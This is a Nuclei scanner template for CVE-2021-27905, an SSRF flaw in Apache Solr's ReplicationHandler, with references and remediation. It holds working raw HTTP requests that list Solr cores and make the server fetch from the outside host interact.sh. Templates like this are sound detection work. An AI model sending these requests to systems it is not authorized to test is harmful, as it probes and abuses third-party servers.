nuclei-templates/cves/2021/CVE-2021-27905.yaml

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id: CVE-2021-27905
info:
name: Apache Solr <=8.8.1 - Server-Side Request Forgery
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author: hackergautam
severity: critical
description: Apache Solr versions 8.8.1 and prior contain a server-side request forgery vulnerability. The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter.
reference:
- https://www.anquanke.com/post/id/238201
- https://ubuntu.com/security/CVE-2021-27905
- https://nvd.nist.gov/vuln/detail/CVE-2021-27905
- https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
remediation: This issue is resolved in Apache Solr 8.8.2 and later.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-27905
cwe-id: CWE-918
tags: cve,cve2021,apache,solr,ssrf
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requests:
- raw:
- |
GET /solr/admin/cores?wt=json HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
Connection: close
- |
GET /solr/{{core}}/replication/?command=fetchindex&masterUrl=https://interact.sh HTTP/1.1
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Host: {{Hostname}}
Accept-Language: en
Connection: close
extractors:
- type: regex
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internal: true
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name: core
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group: 1
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regex:
- '"name"\:"(.*?)"'
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matchers:
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- type: word
words:
- '<str name="status">OK</str>'
part: body
# Enhanced by mp on 2022/05/17